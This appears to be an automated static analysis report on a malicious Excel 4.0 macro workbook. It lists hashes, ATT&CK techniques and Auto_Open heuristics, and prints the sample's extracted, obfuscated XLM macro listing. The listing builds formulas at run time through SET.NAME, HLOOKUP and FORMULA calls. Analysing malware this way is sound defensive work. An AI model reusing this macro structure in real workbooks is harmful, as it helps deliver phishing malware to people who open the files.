Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8482f53b33f6aecd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:00 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 2f5f48e10e82a29dcd03115cd1fe1ce9 SHA-1: 6b499df0474a31545a202d18bda11d87ee12a08d SHA-256: 8482f53b33f6aecd801c6ca0e6bd4c8d05d1866919c454b675b9a672652f97bd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. This is a common technique for delivering malware via malicious attachments.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6533 bytes
SHA-256: 9d606fdf335c7a0e7f6970f94aa0ea72e0e556b0f0757adfe69c84cd0085419c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uhQfrz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F151 
' 0018     23 LABEL : Cell Value, String Constant - BqMdmPIA len=0 
' 0018     25 LABEL : Cell Value, String Constant - BuLGVkuMqJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - bzFbxtxgJM len=0 
' 0018     21 LABEL : Cell Value, String Constant - dlfLul len=0 
' 0018     27 LABEL : Cell Value, String Constant - fRsiOSpfGblz len=0 
' 0018     23 LABEL : Cell Value, String Constant - goNcFFKb len=0 
' 0018     27 LABEL : Cell Value, String Constant - heHyMAxAarWH len=0 
' 0018     20 LABEL : Cell Value, String Constant - jVJeM len=0 
' 0018     26 LABEL : Cell Value, String Constant - KtMJwTzXiyp len=0 
' 0018     20 LABEL : Cell Value, String Constant - MtRRG len=0 
' 0018     23 LABEL : Cell Value, String Constant - PQVctVMZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - pSvJZm len=0 
' 0018     20 LABEL : Cell Value, String Constant - QIFvO len=0 
' 0018     22 LABEL : Cell Value, String Constant - qJnVABy len=0 
' 0018     25 LABEL : Cell Value, String Constant - QLfTRcToBc len=0 
' 0018     24 LABEL : Cell Value, String Constant - RjMPrEETH len=0 
' 0018     27 LABEL : Cell Value, String Constant - rSXsrHfSWEqS len=0 
' 0018     20 LABEL : Cell Value, String Constant - SKVxH len=0 
' 0018     26 LABEL : Cell Value, String Constant - VRkfWpdXeic len=0 
' 0018     27 LABEL : Cell Value, String Constant - VrPBumDbrsPc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uhQfrz,F53,"SET.NAME("pSvJZm",VALUE("0"))",""
'  uhQfrz,F55,"SET.NAME("BqMdmPIA",pSvJZm)",""
'  uhQfrz,F58,"SET.NAME("heHyMAxAarWH",pSvJZm)",""
'  uhQfrz,F63,"SET.NAME("bzFbxtxgJM",COUNTA(KtMJwTzXiyp))",""
'  uhQfrz,F68,"SET.NAME("QIFvO",COUNTA(rSXsrHfSWEqS))",""
'  uhQfrz,F71,[],""
'  uhQfrz,F74,"SET.NAME("dlfLul","")",""
'  uhQfrz,F79,"BqMdmPIA",""
'  uhQfrz,F82,"SET.NAME("QLfTRcToBc",HLOOKUP("*",KtMJwTzXiyp,BqMdmPIA,FALSE))",""
'  uhQfrz,F87,"VrPBumDbrsPc",""
'  uhQfrz,F90,"SET.NAME("fRsiOSpfGblz",pSvJZm)",""
'  uhQfrz,F94,[],""
'  uhQfrz,F99,"fRsiOSpfGblz",""
'  uhQfrz,F103,"VRkfWpdXeic",""
'  uhQfrz,F106,"BuLGVkuMqJ",""
'  uhQfrz,F111,"RjMPrEETH",""
'  uhQfrz,F116,"SET.NAME("goNcFFKb",VALUE(HLOOKUP("*",rSXsrHfSWEqS,RjMPrEETH,FALSE)))",""
'  uhQfrz,F120,"SKVxH",""
'  uhQfrz,F123,"dlfLul",""
'  uhQfrz,F128,"heHyMAxAarWH",""
'  uhQfrz,F130,NEXT(),""
'  uhQfrz,F134,"qJnVABy",""
'  uhQfrz,F136,"SET.NAME("f",INT(T(FORMULA(T(dlfLul)&"",""&T(qJnVABy)))))",""
'  uhQfrz,F140,"PQVctVMZ",""
'  uhQfrz,F144,NEXT(),""
'  uhQfrz,F147,RETURN(),""
'  uhQfrz,F171,"SET.NAME("MtRRG",F53)",""
'  uhQfrz,F175,"KtMJwTzXiyp",""
'  uhQfrz,F177,"SET.NAME("rSXsrHfSWEqS",R72C12)",""
'  uhQfrz,F179,"SET.NAME("PQVctVMZ",190)",""
'  uhQfrz,F184,"SET.NAME("jVJeM",6)",""
'  uhQfrz,F189,MtRRG(),""
'  uhQfrz,F190,HALT(),""